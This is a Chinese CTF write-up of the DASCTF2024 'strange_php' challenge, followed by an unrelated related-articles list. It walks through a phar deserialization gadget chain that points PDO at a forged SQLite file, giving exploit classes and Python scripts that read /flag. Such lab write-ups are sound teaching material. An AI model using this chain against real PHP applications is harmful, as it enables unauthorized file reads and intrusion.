CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化?
漏洞入口在
welcome.php
case 'delete': // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径 $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path']; $msg = $userMessage->deleteMessage($message); // 删除留言 if ($msg) { echo "留言已成功删除"; // 输出成功删除信息 } else { echo "操作失败,请重新尝试"; // 输出失败信息 } break;
此处message_path可控,进一步跟进
UserMessage.php
public function deleteMessage($path) { $path = $path . ".txt"; // 添加文件扩展名 if (file_exists($path)) { $result = unlink($path); if ($result === false) { return false; } return true; } return false;
}
$path可控,同时unlink可触发phar反序列化
step 2 如何创造一个可控文件?
public function writeMessage($message) { $result = file_put_contents($this->filePath, $message); if ($result === false) { return false; } return true;
}
step 3 如何利用反序列化读取flag?
<?php class UserMessage { private $filePath; ........// 魔术方法 __set,用于设置私有属性并记录日志 public function __set($name, $value) { $this->$name = $value; $logContent = file_get_contents($this->filePath) . "</br>"; file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent); } .......
?>
魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。
class MyClass {private $data = [];public function __set($name, $value) {$this->data[$name] = $value;}
}$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John
step 4 如何触发__set()?
题目使用PDO链接数据库
PDO_connect.php
<?php class PDO_connect { private $pdo; // 用于保存 PDO 实例 public $con_options = []; // 用于设置 PDO 连接的选项 public $smt; // 用于保存 PDOStatement 实例 public function __construct() { // 构造函数,初始化对象时调用 } // 初始化连接选项 public function init() { $this->con_options = array( "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称 'host' => '127.0.0.1', // 数据库主机地址 'port' => '3306', // 数据库端口 'user' => 'joker', // 数据库用户名 'password' => 'joker', // 数据库密码 'charset' => 'utf8', // 字符集 'options' => array( PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组 PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常 ) ); } // 获取数据库连接 public function get_connection() { $this->conn = null; // 初始化连接为 null try { // 创建 PDO 实例 $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']); // 设置错误处理模式 if ($this->con_options['options'][PDO::ATTR_ERRMODE]) { $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]); } // 设置默认获取模式 if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) { $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]); } } catch (PDOException $e) { // 捕获异常并输出错误信息 echo 'Connection Error: ' . $e->getMessage(); } return $this->conn; // 返回 PDO 连接实例 }
}
?>
在PHP的PDO(PHP Data Objects)中,
PDO::ATTR_DEFAULT_FETCH_MODE是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。
PDO::FETCH_CLASS 和 PDO::FETCH_CLASSTYPE 是两种不同的获取模式:
-
PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。
-
PDO::FETCH_CLASSTYPE:当与
PDO::FETCH_CLASS结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。
通过将 PDO::FETCH_CLASS 和 PDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。
PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。
class Admin {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}class Member {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);while ($user = $statement->fetch()) {echo get_class($user) . "\n"; // 打印当前行映射的类名echo $user->id . "\n";echo $user->username . "\n";echo $user->password . "\n";
}
在这个例子中,PDO 会根据 class_name 列的值来决定实例化 Admin 或 Member 类。其他列 (id, username, password) 将被传递给相应类的构造函数。
我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果
从这里可以得知目录路径
public function __set($name, $value) { $this->$name = $value; $logContent = file_get_contents($this->filePath) . "</br>"; file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
}
可以写出
class PDO_connect{ private $pdo; public $con_options = []; public $smt; public function __construct(){ $this->con_options = [ "dsn"=>'sqlite:/var/www/html/xxx.txt', "username"=>"root", "password"=>"root", "options"=>[ PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
step 5 如何触发PDO_connect?
利用User.__destruct
User.php
public function __destruct() { if ($this->username) { $results = $this->log(); $log_mess = serialize($results); // 记录日志到文件 file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND); }
}
->log即可触发查询,当查询键为UserMessage会返回伪造的值
public function log() { try { $sql = "SELECT * FROM users WHERE username = :username"; $pdo = $this->conn->get_connection(); $stmt = $pdo->prepare($sql); $stmt->bindParam(':username', $this->username); $stmt->execute(); $result = $stmt->fetch(); return $result; } catch (PDOException $e) { echo $e->getMessage(); }
}
所以写出
class PDO_connect{ private $pdo; public $con_options = [];public $smt; public function __construct(){ $this->con_options = [ "dsn"=>'sqlite:./fake_db.sqlite', "username"=>"root", "password"=>"root", "options"=>[ PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
class User{ private $conn; private $table = 'users'; public $id; public $username; public $password; public function __construct(){ $this->conn = new PDO_connect(); $this->username = "UserMessage"; }
}
尝试
import sqlite3 conn = sqlite3.connect('fake_db.sqlite')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL,filePath TEXT NOT NULL,set_name TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [ ('UserMessage', 'filePath_value', 'set_value'),
]
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?) ''', users) conn.commit() cursor.execute('SELECT * FROM users') conn.close()

import sqlite3 conn = sqlite3.connect('fake.db')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users ( username TEXT NOT NULL,filePath TEXT NOT NULL,password TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [ ('UserMessage', '/flag', '/flag'),
]
cursor.executemany('''
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
''', users) conn.commit() cursor.execute('SELECT * FROM users') conn.close()
即可控制变量值触发/flag读取
相关文章:
CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化? 漏洞入口在 welcome.php case delete: // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径 $message $_POST[message_path] ? $_POST[message_path] : $_SESSION[message_path]; $msg $userMes…...
从0开始使用面对对象C语言搭建一个基于OLED的图形显示框架(动态菜单组件实现)
目录 面对对象C的程序设计(范例) 面对对象C的程序设计(应用) 进一步谈论我上面给出的代码——继承 实现一个面对对象的文本编辑器 所以,什么是继承 重申我们对菜单的抽象 抽象菜单项目 抽象菜单动画 实现菜单功…...
EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析
EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析 0 预览一 该文件功能`fsm_slave.c` 文件功能函数预览二 函数功能介绍`fsm_slave.c` 中主要函数的作用1. `ec_fsm_slave_init`2. `ec_fsm_slave_clear`3. `ec_fsm_slave_exec`4. `ec_fsm_slave_set_ready`5. `ec_fsm_slave_…...
windows10 配置使用json server作为图片服务器
步骤1:在vs code中安装json server, npm i -g json-server 注意:需要安装对应版本的json server,不然可能会报错,比如: npm i -g json-server 0.16.3 步骤2:出现如下报错: json-server 不是…...
Linux——网络(tcp)
文章目录 目录 文章目录 前言 一、TCP逻辑 1. 面向连接 三次握手(建立连接) 四次挥手(关闭连接) 2. 可靠性 3. 流量控制 4. 拥塞控制 5. 基于字节流 6. 全双工通信 7. 状态机 8. TCP头部结构 9. TCP的应用场景 二、编写tcp代码函数…...
腾讯云开发提供免费GPU服务
https://ide.cloud.tencent.com/dashboard/web 适用于推理场景,每个月10000分钟免费时长 166 小时 40 分钟 自带学术加速,速度还是不错的 白嫖 Tesla T4 16G 算力 显存:16GB 算力:8 TFlops SP CPU:8 核 内存&#…...
详解python的修饰符
Python 中的修饰符(Decorator)是一种用于修改或扩展函数或类行为的工具。它们本质上是一个函数,接受另一个函数或类作为参数,并返回一个新的函数或类。修饰符通常用于在不修改原函数或类代码的情况下,添加额外的功能。…...
《攻克语言密码:教AI理解隐喻与象征》
在自然语言处理(NLP)领域,让计算机理解人类语言中的隐喻和象征,是迈向更高语言理解水平的关键一步。从“时间就是金钱”这样的概念隐喻,到文学作品里象征着坚韧的“寒梅”,这些非字面意义的表达方式承载着丰…...
如何解除TikTok地区限制:实用方法解析
随着社交媒体的不断发展,TikTok作为一款短视频平台,已经在全球范围内吸引了数以亿计的用户。然而,不同地区对TikTok的使用权限存在一定的限制,这使得一些用户无法享受平台提供的完整内容和功能。 一、了解TikTok地区限制的原因 在…...
神经网络|(七)概率论基础知识-贝叶斯公式
【1】引言 前序我们已经了解了一些基础知识。 古典概型:有限个元素参与抽样,每个元素被抽样的概率相等。 条件概率:在某条件已经达成的前提下,新事件发生的概率。实际计算的时候,应注意区分,如果是计算综…...
《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance)订阅 已识别 - 已识别问题,并且正在实施修复。 1月 29, 2025 - 20:57 CST 更新 - 我们将继续监控任何其他问题。 1月 28, 2025 - 22&am…...
使用Edu邮箱申请一年免费的.me域名
所需材料:公立Edu教育邮箱一枚(P.S:该服务不支持所有的Edu教育邮箱,仅支持比较知名的院校) 说到域名,.me这个后缀可谓是个性十足,适合个人网站、博客等。.me是黑山的国家顶级域名(c…...
【MCU】DFU、IAP、OTA
我发现很多人把几个概念都学混了,只记得一个升级了 DFU DFU (device firmware update)是指的 USB DFU,这个是 USB 的一个机制,可以升级设备的固件,可以去 USB-IF 查看规范文件。 OTA 全称为 Over-the-air update,利…...
2025.1.21——六、BUU XSS COURSE 1 XSS漏洞|XSS平台搭建
题目来源:buuctf BUU XSS COURSE 1 目录 一、打开靶机,整理信息 二、解题思路 step 1:输入框尝试一下 step 2:开始xss注入 step 3:搭建平台 step 4:利用管理员cookie访问地址 三、小结 二编&#…...
跟李沐学AI:视频生成类论文精读(Movie Gen、HunyuanVideo)
Movie Gen:A Cast of Media Foundation Models 简介 Movie Gen是Meta公司提出的一系列内容生成模型,包含了 3.2.1 预训练数据 Movie Gen采用大约 100M 的视频-文本对和 1B 的图片-文本对进行预训练。 图片-文本对的预训练流程与Meta提出的 Emu: Enh…...
7.抽象工厂(Abstract Factory)
抽象工厂与工厂方法极其类似,都是绕开new的,但是有些许不同。 动机 在软件系统中,经常面临着“一系列相互依赖的对象”的创建工作;同时,由于需求的变化,往往存在更多系列对象的创建工作。 假设案例 假设…...
python-leetcode-路径总和
112. 路径总和 - 力扣(LeetCode) # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solution:de…...
WGCLOUD使用介绍 - 如何监控ActiveMQ和RabbitMQ
根据WGCLOUD官网的信息,目前没有针对ActiveMQ和RabbitMQ这两个组件专门做适配 不过可以使用WGCLOUD已经具备的通用监测模块:进程监测、端口监测或者日志监测、接口监测 来对这两个组件进行监控...
智能汽车网络安全威胁报告
近年来随着智能汽车技术的快速发展,针对智能汽车的攻击也逐渐从传统的针对单一车辆控制器的攻击转变为针对整车智能化服务的攻击,包括但不限于对远程控制应用程序的操控、云服务的渗透、智能座舱系统的破解以及对第三方应用和智能服务的攻击。随着WP.29 …...
WPS怎么使用latex公式?
1、下载并安装mathtype https://blog.csdn.net/weixin_43135178/article/details/125143654?sharetypeblogdetail&sharerId125143654&sharereferPC&sharesourceweixin_43135178&spm1011.2480.3001.8118 2、将mathtype嵌入在WPS MathType面板嵌入器,免费工具…...
高危文件识别的常用算法:原理、应用与企业场景
高危文件识别的常用算法:原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件,如包含恶意代码、敏感数据或欺诈内容的文档,在企业协同办公环境中(如Teams、Google Workspace)尤为重要。结合大模型技术&…...
微服务商城-商品微服务
数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...
2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
【论文阅读28】-CNN-BiLSTM-Attention-(2024)
本文把滑坡位移序列拆开、筛优质因子,再用 CNN-BiLSTM-Attention 来动态预测每个子序列,最后重构出总位移,预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵(S…...
基于TurtleBot3在Gazebo地图实现机器人远程控制
1. TurtleBot3环境配置 # 下载TurtleBot3核心包 mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src git clone -b noetic-devel https://github.com/ROBOTIS-GIT/turtlebot3.git git clone -b noetic https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git git clone -b noetic-dev…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
MFC 抛体运动模拟:常见问题解决与界面美化
在 MFC 中开发抛体运动模拟程序时,我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点,详细解析原因并提供解决方案,同时兼顾界面美化,让模拟效果更专业、更高效。 问题一:历史轨迹与小球残影残留 现象 小球运动后,历史位置的 “残影”…...
Golang——9、反射和文件操作
反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一:使用Read()读取文件2.3、方式二:bufio读取文件2.4、方式三:os.ReadFile读取2.5、写…...
STM32---外部32.768K晶振(LSE)无法起振问题
晶振是否起振主要就检查两个1、晶振与MCU是否兼容;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容(CL)与匹配电容(CL1、CL2)的关系 2. 如何选择 CL1 和 CL…...
脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)
一、OpenBCI_GUI 项目概述 (一)项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台,其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言,首次接触 OpenBCI 设备时,往…...
